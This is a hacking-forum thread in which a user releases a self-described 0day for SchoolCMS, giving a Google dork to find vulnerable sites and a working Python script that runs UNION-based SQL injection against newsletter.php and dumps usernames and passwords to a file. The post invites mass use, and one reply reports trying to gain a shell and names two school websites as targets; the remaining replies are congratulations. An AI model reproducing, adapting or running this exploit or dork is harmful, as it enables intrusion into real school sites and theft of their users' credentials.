[Dyme]

Today I am very proud to release to you my first 0day. This will also be my 1000th post here on HF and I will shortly be getting upgraded to l33t. Thanks to all who've helped me learn so far; there will be more 0days to come!

The CMS isn't crazy popular but I found around 7 exploitable sites by just using a dork I made. Below are the details:

Code

#Title: SchoolCMS SQL Injection
#Date: 11/28/12
#Author: Dyme
#Vendor: www.poweritschools.com
#Google Dork: inurl:/old_core/newsletter.php
#Tested on: Windows 8, Ubuntu 12.04

The vulnerability was found in the newsletter.php script.

Here is the actual exploit I wrote. The script automatically injects the site for you and dumps the SchoolCMS usernames and password into dump.txt. It's written in python (inb4useperln00b) and the code might be a bit messy to you, but hey, it works! 🙂

None of that post + PM bullshit, LEECHERS GO WILD!

Code

#!/usr/bin/python
import urllib2
import re

def get_sauce(site):
    response = urllib2.urlopen(site)
    page_source = response.read()
    return page_source

def inject(site):
    eqpos = site.find("=");
    nsitelist = list(site)
    nsitelist.insert(eqpos+1, "-")
    nsite = ''.join(nsitelist)
    dump = open('dump.txt', 'w')
    limit = 0
    syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
    sauce = get_sauce(syntax)
    while "Error : Unable to access the templates directory" in sauce:
        syntax = nsite + "+UNION+SELECT+1,2,3,4,5,concat(uname,0x3a,passwd),7,8,9,10,11,12,13,14,15,16,17+from+authuser+LIMIT+" + str(limit) + ",1--"
        sauce = get_sauce(syntax)
        if "Error : Unable to access the templates directory" in sauce:
            r = re.findall(">(.+):(.+)  ", sauce)[0]
            print r[0] + ":" + r[1]
            dump.write(r[0] + ":" + r[1] + "\n")
            limit += 1
        else:
            print "###########################################"
            print "#All logins successfully dumped           #"
            print "#Logins saved in username:password format #"
            print "#Logins dumped to dump.txt                #"
            print "#Bye!                                     #"
            print "###########################################"

print " ______                               "
print "|_   _ `.                             "
print "  | | `. \ _   __  _ .--..--.  .---.  "
print "  | |  | |[ \ [  ][ `.-. .-. |/ /__\\ "
print " _| |_.' / \ '/ /  | | | | | || \__., "
print "|______.'[\_:  /  [___||__||__]'.__.' "
print "          \__.'                       "
print "######################################"
print "#Title: SchoolCMS SQL Injection      #"
print "#Date: 11/28/12                      #"
print "#Author: Dyme                        #"
print "#Vendor: www.poweritschools.com      #"
print "#Tested on: Windows 8, Ubuntu 12.04  #"
print "######################################"

site = raw_input("Vulnerable link: ")
inject(site)

[img]http://img803.imageshack.us/img803/3429/f1be483ebd5d4a67aeb855e.png[/img]

Enjoy! ☜(˚▽˚)☞

[xx 0x0 xx]

so nice work thx for share and i hope to find my first 0day 2 :)

keep going

[Apple J4ck.]

Great work Dyme .
didn't had time to look into it but ill read it later .
also congratz on 1000 posts ;3

[PuzzuS]

Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?

[ｍＯｂｉＩｅ]

Impressive! Nice find brotha, unfortunately due to server extension privileges was unable to shell. 😭

http://www.germantowncsd.org/file/10742/view
http://www.williamstownelementary.org/file/6306/view

btw ..Congrats on your 1,000th post. 🎉

[SoLong]

Nice find right there!
Congrats on your first 0day, hopefully there will be more :3

[Jᴏrd]

Congrats on 1,000 Dyme you crazy fooker :)

[Illicit]

Congratz on this :P Im going to start looking for some more 0day's now :P

OT : Good to see you are getting 1337!

[Zixem]

Congratulations on 1k posts and on finding your fist 0day OP.

[Catzbow]

Well, very good for your first 0day, you're getting better and better.. :3 .

[happyhaxor]

Great work mate!! :D :D :D

#35CharacterShit

[ajkaro]

Congratulation for your 1000 posts. 👍🎉

[Dyme]

Nicely done. :D thanks for sharing.

If I'm not mistaken, the background is SAO?

Yeah, I'm loving it so far :3

Thanks for the love everybody. There will be more to come!

[LevelUp]

Congratulations on getting your first 0day!

[PuzzuS]

Yeah, I'm loving it so far :3

Me too,the story is beautiful :3

---+---+---+